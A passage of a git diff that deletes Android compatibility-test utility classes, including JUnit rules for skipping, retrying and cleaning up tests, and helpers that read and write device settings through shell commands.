-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that does not run a test case if the device does not have a given service.
- */
-public class RequiredServiceRule implements TestRule {
- private static final String TAG = "RequiredServiceRule";
-
- private final String mService;
- private final boolean mHasService;
-
- /**
- * Creates a rule for the given service.
- */
- public RequiredServiceRule(@NonNull String service) {
- mService = service;
- mHasService = hasService(service);
- }
-
- @Override
- public Statement apply(@NonNull Statement base, @NonNull Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- if (!mHasService) {
- Log.d(TAG, "skipping "
- + description.getClassName() + "#" + description.getMethodName()
- + " because device does not have service '" + mService + "'");
- return;
- }
- base.evaluate();
- }
- };
- }
-
- /**
- * Checks if the device has the given service.
- */
- public static boolean hasService(@NonNull String service) {
- // TODO: ideally should call SystemServiceManager directly, but we would need to open
- // some @Testing APIs for that.
- String command = "service check " + service;
- try {
- String commandOutput = SystemUtil.runShellCommand(
- InstrumentationRegistry.getInstrumentation(), command);
- return !commandOutput.contains("not found");
- } catch (Exception e) {
- Log.w(TAG, "Exception running '" + command + "': " + e);
- return false;
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
deleted file mode 100644
index ead59943..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.res.Resources;
-import android.text.TextUtils;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that does not run a test case if the device does not define the given system
- * resource.
- */
-public class RequiredSystemResourceRule implements TestRule {
-
- private static final String TAG = "RequiredSystemResourceRule";
-
- @NonNull private final String mName;
- private final boolean mHasResource;
-
- /**
- * Creates a rule for the given system resource.
- *
- * @param resourceId resource per se
- * @param name resource name used for debugging purposes
- */
- public RequiredSystemResourceRule(@NonNull String name) {
- mName = name;
- mHasResource = !TextUtils.isEmpty(getSystemResource(name));
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- if (!mHasResource) {
- Log.d(TAG, "skipping "
- + description.getClassName() + "#" + description.getMethodName()
- + " because device does not have system resource '" + mName + "'");
- return;
- }
- base.evaluate();
- }
- };
- }
-
- /**
- * Gets the given system resource.
- */
- @Nullable
- public static String getSystemResource(@NonNull String name) {
- try {
- final int resourceId = Resources.getSystem().getIdentifier(name, "string", "android");
- return Resources.getSystem().getString(resourceId);
- } catch (Exception e) {
- Log.e(TAG, "could not get value of resource '" + name + "': ", e);
- }
- return null;
- }
-
- @Override
- public String toString() {
- return "RequiredSystemResourceRule[" + mName + "]";
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Result.java b/common/device-side/util/src/com/android/compatibility/common/util/Result.java
deleted file mode 100644
index 0d8a29a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/Result.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-package com.android.compatibility.common.util;
-
-/**
- * Represents the result of a test.
- */
-public interface Result {
- public static final int RESULT_OK = 1;
- public static final int RESULT_FAIL = 2;
- /**
- * Sets the test result of this object.
- *
- * @param resultCode The test result, either {@code RESULT_OK} or {@code RESULT_FAIL}.
- */
- void setResult(int resultCode);
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RetryRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RetryRule.java
deleted file mode 100644
index 32dedea..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RetryRule.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that retry tests when they fail due to a {@link RetryableException}.
- */
-public class RetryRule implements TestRule {
-
- private static final String TAG = "RetryRule";
- private final int mMaxAttempts;
-
- /**
- * Retries the underlying test when it catches a {@link RetryableException}.
- *
- * @param retries number of retries. Use {@code 0} to disable rule.
- *
- * @throws IllegalArgumentException if {@code retries} is less than {@code 0}.
- */
- public RetryRule(int retries) {
- if (retries < 0) {
- throw new IllegalArgumentException("retries must be more than 0");
- }
- mMaxAttempts = retries + 1;
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- if (mMaxAttempts <= 1) {
- Log.v(TAG, "Executing " + description.getDisplayName()
- + " right away because mMaxAttempts is " + mMaxAttempts);
- base.evaluate();
- return;
- }
-
- final String name = description.getDisplayName();
- Throwable caught = null;
- for (int i = 1; i <= mMaxAttempts; i++) {
- try {
- base.evaluate();
- if (i == 1) {
- Log.v(TAG, "Good News, Everyone! " + name + " passed right away");
- } else {
- Log.d(TAG,
- "Better late than never: " + name + " passed at attempt #" + i);
- }
- return;
- } catch (RetryableException e) {
- final Timeout timeout = e.getTimeout();
- if (timeout != null) {
- long before = timeout.ms();
- timeout.increase();
- Log.d(TAG, "Increased " + timeout.getName() + " from " + before + "ms"
- + " to " + timeout.ms() + "ms");
- }
- caught = e;
- }
- Log.w(TAG, "Arrrr! " + name + " failed at attempt " + i + "/" + mMaxAttempts
- + ": " + caught);
- }
- Log.e(TAG, "D'OH! " + name + ": giving up after " + mMaxAttempts + " attempts");
- throw caught;
- }
- };
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RetryableException.java b/common/device-side/util/src/com/android/compatibility/common/util/RetryableException.java
deleted file mode 100644
index 1c6c782..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RetryableException.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import androidx.annotation.Nullable;
-
-/**
- * Exception that cause the {@link RetryRule} to re-try a test.
- */
-public class RetryableException extends RuntimeException {
-
- @Nullable
- private final Timeout mTimeout;
-
- public RetryableException(String msg) {
- this((Timeout) null, msg);
- }
-
- public RetryableException(String format, Object...args) {
- this((Timeout) null, String.format(format, args));
- }
-
- public RetryableException(Throwable cause, String format, Object...args) {
- this((Timeout) null, cause, String.format(format, args), cause);
- }
-
- public RetryableException(@Nullable Timeout timeout, String msg) {
- super(msg);
- this.mTimeout = timeout;
- }
-
- public RetryableException(@Nullable Timeout timeout, String format, Object...args) {
- super(String.format(format, args));
- this.mTimeout = timeout;
- }
-
- public RetryableException(@Nullable Timeout timeout, Throwable cause, String format,
- Object...args) {
- super(String.format(format, args), cause);
- this.mTimeout = timeout;
- }
-
- @Nullable
- public Timeout getTimeout() {
- return mTimeout;
- }
-
- @Override
- public String getMessage() {
- final String superMessage = super.getMessage();
- return mTimeout == null ? superMessage : superMessage + " (timeout=" + mTimeout + ")";
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
deleted file mode 100644
index 806884c..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
+++ /dev/null
@@ -1,185 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.Callable;
-
-/**
- * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
- * the cleanup code don't hide exception thrown by the test body
- */
-public final class SafeCleanerRule implements TestRule {
-
- private static final String TAG = "SafeCleanerRule";
-
- private final List<ThrowingRunnable> mCleaners = new ArrayList<>();
- private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
- private final List<Throwable> mThrowables = new ArrayList<>();
- private Dumper mDumper;
-
- /**
- * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
- */
- public SafeCleanerRule run(@NonNull ThrowingRunnable cleaner) {
- mCleaners.add(cleaner);
- return this;
- }
-
- /**
- * Adds exceptions directly.
- *
- * <p>Typically used for exceptions caught asychronously during the test execution.
- */
- public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
- mExtraThrowables.add(exceptions);
- return this;
- }
-
- /**
- * Adds exceptions directly.
- *
- * <p>Typically used for exceptions caught during {@code finally} blocks.
- */
- public SafeCleanerRule add(Throwable exception) {
- Log.w(TAG, "Adding exception directly: " + exception);
- mThrowables.add(exception);
- return this;
- }
-
- /**
- * Sets a {@link Dumper} used to log errors.
- */
- public SafeCleanerRule setDumper(@NonNull Dumper dumper) {
- mDumper = dumper;
- return this;
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
- @Override
- public void evaluate() throws Throwable {
- // First run the test
- try {
- base.evaluate();
- } catch (Throwable t) {
- Log.w(TAG, "Adding exception from main test at index 0: " + t);
- mThrowables.add(0, t);
- }
-
- // Then the cleanup runners
- for (ThrowingRunnable runner : mCleaners) {
- try {
- runner.run();
- } catch (Throwable t) {
- Log.w(TAG, "Adding exception from cleaner");
- mThrowables.add(t);
- }
- }
-
- // And finally add the extra exceptions
- for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
- final List<Throwable> extraThrowables = extraThrowablesCallable.call();
- if (extraThrowables != null && !extraThrowables.isEmpty()) {
- Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
- mThrowables.addAll(extraThrowables);
- }
- }
-
- // Ignore all instances of AssumptionViolatedExceptions
- mThrowables.removeIf(t -> t instanceof AssumptionViolatedException);
-
- // Finally, throw up!
- if (mThrowables.isEmpty()) return;
-
- final int numberExceptions = mThrowables.size();
- if (numberExceptions == 1) {
- fail(description, mThrowables.get(0));
- }
- fail(description, new MultipleExceptions(mThrowables));
- }
-
- };
- }
-
- private void fail(Description description, Throwable t) throws Throwable {
- if (mDumper != null) {
- mDumper.dump(description.getDisplayName(), t);
- }
- throw t;
- }
-
- private static String toMesssage(List<Throwable> throwables) {
- String msg = "D'OH!";
- try {
- try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
- sw.write("Caught " + throwables.size() + " exceptions\n");
- for (int i = 0; i < throwables.size(); i++) {
- sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
- final Throwable exception = throwables.get(i);
- exception.printStackTrace(pw);
- sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
- }
- msg = sw.toString();
- }
- } catch (IOException e) {
- // ignore close() errors - should not happen...
- Log.e(TAG, "Exception closing StringWriter: " + e);
- }
- return msg;
- }
-
- // VisibleForTesting
- static class MultipleExceptions extends AssertionError {
- private final List<Throwable> mThrowables;
-
- private MultipleExceptions(List<Throwable> throwables) {
- super(toMesssage(throwables));
-
- this.mThrowables = throwables;
- }
-
- List<Throwable> getThrowables() {
- return mThrowables;
- }
- }
-
- /**
- * Optional interface used to dump an error.
- */
- public interface Dumper {
-
- /**
- * Dumps an error.
- */
- void dump(@NonNull String testName, @NonNull Throwable t);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateChangerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateChangerRule.java
deleted file mode 100644
index 3e0662a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateChangerRule.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.Settings;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * JUnit rule used to set a {@link Settings} preference before the test is run.
- *
- * <p>It stores the current value before the test, changes it (if necessary), then restores it after
- * the test (if necessary).
- */
-public class SettingsStateChangerRule extends StateChangerRule<String> {
-
- /**
- * Default constructor for the 'secure' context.
- *
- * @param context context used to retrieve the {@link Settings} provider.
- * @param key prefence key.
- * @param value value to be set before the test is run.
- */
- public SettingsStateChangerRule(@NonNull Context context, @NonNull String key,
- @Nullable String value) {
- this(context, SettingsUtils.NAMESPACE_SECURE, key, value);
- }
-
- /**
- * Default constructor.
- *
- * @param context context used to retrieve the {@link Settings} provider.
- * @param namespace settings namespace.
- * @param key prefence key.
- * @param value value to be set before the test is run.
- */
- public SettingsStateChangerRule(@NonNull Context context, @NonNull String namespace,
- @NonNull String key, @Nullable String value) {
- super(new SettingsStateManager(context, namespace, key), value);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateKeeperRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateKeeperRule.java
deleted file mode 100644
index 18ca88a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateKeeperRule.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.Settings;
-
-import androidx.annotation.NonNull;
-
-/**
- * JUnit rule used to restore a {@link Settings} preference after the test is run.
- *
- * <p>It stores the current value before the test, and restores it after the test (if necessary).
- */
-public class SettingsStateKeeperRule extends StateKeeperRule<String> {
-
- /**
- * Default constructor.
- *
- * @param context context used to retrieve the {@link Settings} provider.
- * @param key prefence key.
- */
- public SettingsStateKeeperRule(@NonNull Context context, @NonNull String key) {
- super(new SettingsStateManager(context, SettingsUtils.NAMESPACE_SECURE, key));
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateManager.java b/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateManager.java
deleted file mode 100644
index bab06a6..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateManager.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.Settings;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import com.google.common.base.Preconditions;
-
-/**
- * Manages the state of a preference backed by {@link Settings}.
- */
-public class SettingsStateManager implements StateManager<String> {
-
- private final Context mContext;
- private final String mNamespace;
- private final String mKey;
-
- /**
- * Default constructor.
- *
- * @param context context used to retrieve the {@link Settings} provider.
- * @param namespace settings namespace.
- * @param key prefence key.
- */
- public SettingsStateManager(@NonNull Context context, @NonNull String namespace,
- @NonNull String key) {
- mContext = Preconditions.checkNotNull(context);
- mNamespace = Preconditions.checkNotNull(namespace);
- mKey = Preconditions.checkNotNull(key);
- }
-
- @Override
- public void set(@Nullable String value) {
- SettingsUtils.syncSet(mContext, mNamespace, mKey, value);
- }
-
- @Override
- @Nullable
- public String get() {
- return SettingsUtils.get(mNamespace, mKey);
- }
-
- @Override
- public String toString() {
- return "SettingsStateManager[namespace=" + mNamespace + ", key=" + mKey + "]";
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/SettingsUtils.java
deleted file mode 100644
index c13de45..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SettingsUtils.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Context;
-import android.provider.Settings;
-import android.text.TextUtils;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * Provides utilities to interact with the device's {@link Settings}.
- */
-public final class SettingsUtils {
-
- private static final String TAG = SettingsUtils.class.getSimpleName();
-
- public static final String NAMESPACE_SECURE = "secure";
- public static final String NAMESPACE_GLOBAL = "global";
-
- // TODO(b/123885378): we cannot pass an empty value when using 'cmd settings', so we need
- // to remove the property instead. Once we use the Settings API directly, we can remove this
- // constant and all if() statements that ues it
- static final boolean TMP_HACK_REMOVE_EMPTY_PROPERTIES = true;
-
- /**
- * Uses a Shell command to set the given preference.
- */
- public static void set(@NonNull String namespace, @NonNull String key, @Nullable String value) {
- if (value == null) {
- delete(namespace, key);
- return;
- }
- if (TMP_HACK_REMOVE_EMPTY_PROPERTIES && TextUtils.isEmpty(value)) {
- Log.w(TAG, "Value of " + namespace + ":" + key + " is empty; deleting it instead");
- delete(namespace, key);
- return;
- }
- runShellCommand("settings put %s %s %s default", namespace, key, value);
- }
-
- /**
- * Sets a preference in the {@link #NAMESPACE_SECURE} namespace.
- */
- public static void set(@NonNull String key, @Nullable String value) {
- set(NAMESPACE_SECURE, key, value);
- }
-
- /**
- * Uses a Shell command to set the given preference, and verifies it was correctly set.
- */
- public static void syncSet(@NonNull Context context, @NonNull String namespace,
- @NonNull String key, @Nullable String value) {
- if (value == null) {
- syncDelete(context, namespace, key);
- return;
- }
-
- final String currentValue = get(namespace, key);
- if (value.equals(currentValue)) {
- // Already set, ignore
- return;
- }
-
- final OneTimeSettingsListener observer =
- new OneTimeSettingsListener(context, namespace, key);
- set(namespace, key, value);
- observer.assertCalled();
-
- final String newValue = get(namespace, key);
- if (TMP_HACK_REMOVE_EMPTY_PROPERTIES && TextUtils.isEmpty(value)) {
- assertWithMessage("invalid value for '%s' settings", key).that(newValue)
- .isNull();
- } else {
- assertWithMessage("invalid value for '%s' settings", key).that(newValue)
- .isEqualTo(value);
- }
- }
-
- /**
- * Sets a preference in the {@link #NAMESPACE_SECURE} namespace, using a Settings listener to
- * block until it's set.
- */
- public static void syncSet(@NonNull Context context, @NonNull String key,
- @Nullable String value) {
- syncSet(context, NAMESPACE_SECURE, key, value);
- }
-
- /**
- * Uses a Shell command to delete the given preference.
- */
- public static void delete(@NonNull String namespace, @NonNull String key) {
- runShellCommand("settings delete %s %s", namespace, key);
- }
-
- /**
- * Deletes a preference in the {@link #NAMESPACE_SECURE} namespace.
- */
- public static void delete(@NonNull String key) {
- delete(NAMESPACE_SECURE, key);
- }
-
- /**
- * Uses a Shell command to delete the given preference, and verifies it was correctly deleted.
- */
- public static void syncDelete(@NonNull Context context, @NonNull String namespace,
- @NonNull String key) {
-
- final String currentValue = get(namespace, key);
- if (currentValue == null) {
- // Already set, ignore
- return;
- }
-
- final OneTimeSettingsListener observer = new OneTimeSettingsListener(context, namespace,
- key);
- delete(namespace, key);
- observer.assertCalled();
-
- final String newValue = get(namespace, key);
- assertWithMessage("invalid value for '%s' settings", key).that(newValue).isNull();
- }
-
- /**
- * Deletes a preference in the {@link #NAMESPACE_SECURE} namespace, using a Settings listener to
- * block until it's deleted.
- */
- public static void syncDelete(@NonNull Context context, @NonNull String key) {
- syncDelete(context, NAMESPACE_SECURE, key);
- }
-
- /**
- * Gets the value of a given preference using Shell command.
- */
- @Nullable
- public static String get(@NonNull String namespace, @NonNull String key) {
- final String value = runShellCommand("settings get %s %s", namespace, key);
- if (value == null || value.equals("null")) {
- return null;
- } else {
- return value;
- }
- }
-
- /**
- * Gets the value of a preference in the {@link #NAMESPACE_SECURE} namespace.
- */
- @NonNull
- public static String get(@NonNull String key) {
- return get(NAMESPACE_SECURE, key);
- }
-
- private SettingsUtils() {
- throw new UnsupportedOperationException("contain static methods only");
- }
-
- /**
- * @deprecated - use {@link #set(String, String, String)} with {@link #NAMESPACE_GLOBAL}
- */
- @Deprecated
- public static void putGlobalSetting(String key, String value) {
- set(SettingsUtils.NAMESPACE_GLOBAL, key, value);
-
- }
-
- /**
- * @deprecated - use {@link #set(String, String, String)} with {@link #NAMESPACE_GLOBAL}
- */
- @Deprecated
- public static void putSecureSetting(String key, String value) {
- set(SettingsUtils.NAMESPACE_SECURE, key, value);
-
- }
-
- /**
- * Get a global setting for the current (foreground) user. Trims ending new line.
- */
- public static String getSecureSetting(String key) {
- return SystemUtil.runShellCommand("settings --user current get secure " + key).trim();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java
deleted file mode 100644
index f3438ee..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.UiAutomation;
-import android.support.test.InstrumentationRegistry;
-
-/**
- * Provides utility methods to invoke system and privileged APIs as the shell user.
- */
-public class ShellIdentityUtils {
-
- /**
- * Utility interface to invoke a method against the target object.
- *
- * @param <T> the type returned by the invoked method.
- * @param <U> the type of the object against which the method is invoked.
- */
- public interface ShellPermissionMethodHelper<T, U> {
- /**
- * Invokes the method against the target object.
- *
- * @param targetObject the object against which the method should be invoked.
- * @return the result of the invoked method.
- */
- T callMethod(U targetObject);
- }
-
- /**
- * Utility interface to invoke a method against the target object.
- *
- * @param <U> the type of the object against which the method is invoked.
- */
- public interface ShellPermissionMethodHelperNoReturn<U> {
- /**
- * Invokes the method against the target object.
- *
- * @param targetObject the object against which the method should be invoked.
- */
- void callMethod(U targetObject);
- }
-
- /**
- * Invokes the specified method on the targetObject as the shell user. The method can be invoked
- * as follows:
- *
- * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
- * (tm) -> tm.getDeviceId());}
- */
- public static <T, U> T invokeMethodWithShellPermissions(U targetObject,
- ShellPermissionMethodHelper<T, U> methodHelper) {
- final UiAutomation uiAutomation =
- InstrumentationRegistry.getInstrumentation().getUiAutomation();
- try {
- uiAutomation.adoptShellPermissionIdentity();
- return methodHelper.callMethod(targetObject);
- } finally {
- uiAutomation.dropShellPermissionIdentity();
- }
- }
-
- /**
- * Invokes the specified method on the targetObject as the shell user. The method can be invoked
- * as follows:
- *
- * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
- * (tm) -> tm.getDeviceId());}
- */
- public static <U> void invokeMethodWithShellPermissionsNoReturn(
- U targetObject, ShellPermissionMethodHelperNoReturn<U> methodHelper) {
- final UiAutomation uiAutomation =
- InstrumentationRegistry.getInstrumentation().getUiAutomation();
- try {
- uiAutomation.adoptShellPermissionIdentity();
- methodHelper.callMethod(targetObject);
- } finally {
- uiAutomation.dropShellPermissionIdentity();
- }
- }
-
- /**
- * Utility interface to invoke a static method.
- *
- * @param <T> the type returned by the invoked method.
- */
- public interface StaticShellPermissionMethodHelper<T> {
- /**
- * Invokes the static method.
- *
- * @return the result of the invoked method.
- */
- T callMethod();
- }
-
- /**
- * Invokes the specified static method as the shell user. This method can be invoked as follows:
- *
- * {@code ShellIdentityUtils.invokeStaticMethodWithShellPermissions(Build::getSerial));}
- */
- public static <T> T invokeStaticMethodWithShellPermissions(
- StaticShellPermissionMethodHelper<T> methodHelper) {
- final UiAutomation uiAutomation =
- InstrumentationRegistry.getInstrumentation().getUiAutomation();
- try {
- uiAutomation.adoptShellPermissionIdentity();
- return methodHelper.callMethod();
- } finally {
- uiAutomation.dropShellPermissionIdentity();
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ShellUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ShellUtils.java
deleted file mode 100644
index 8cb3290..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ShellUtils.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import android.support.test.InstrumentationRegistry;
-import android.text.TextUtils;
-import android.util.Log;
-import android.view.View;
-
-import androidx.annotation.NonNull;
-
-/**
- * Provides Shell-based utilities such as running a command.
- */
-public final class ShellUtils {
-
- private static final String TAG = "ShellHelper";
-
- /**
- * Runs a Shell command, returning a trimmed response.
- */
- @NonNull
- public static String runShellCommand(@NonNull String template, Object...args) {
- final String command = String.format(template, args);
- Log.d(TAG, "runShellCommand(): " + command);
- try {
- final String result = SystemUtil
- .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
- return TextUtils.isEmpty(result) ? "" : result.trim();
- } catch (Exception e) {
- throw new RuntimeException("Command '" + command + "' failed: ", e);
- }
- }
-
- /**
- * Tap on the view center, it may change window focus.
- */
- public static void tap(View view) {
- final int[] xy = new int[2];
- view.getLocationOnScreen(xy);
- final int viewWidth = view.getWidth();
- final int viewHeight = view.getHeight();
- final int x = (int) (xy[0] + (viewWidth / 2.0f));
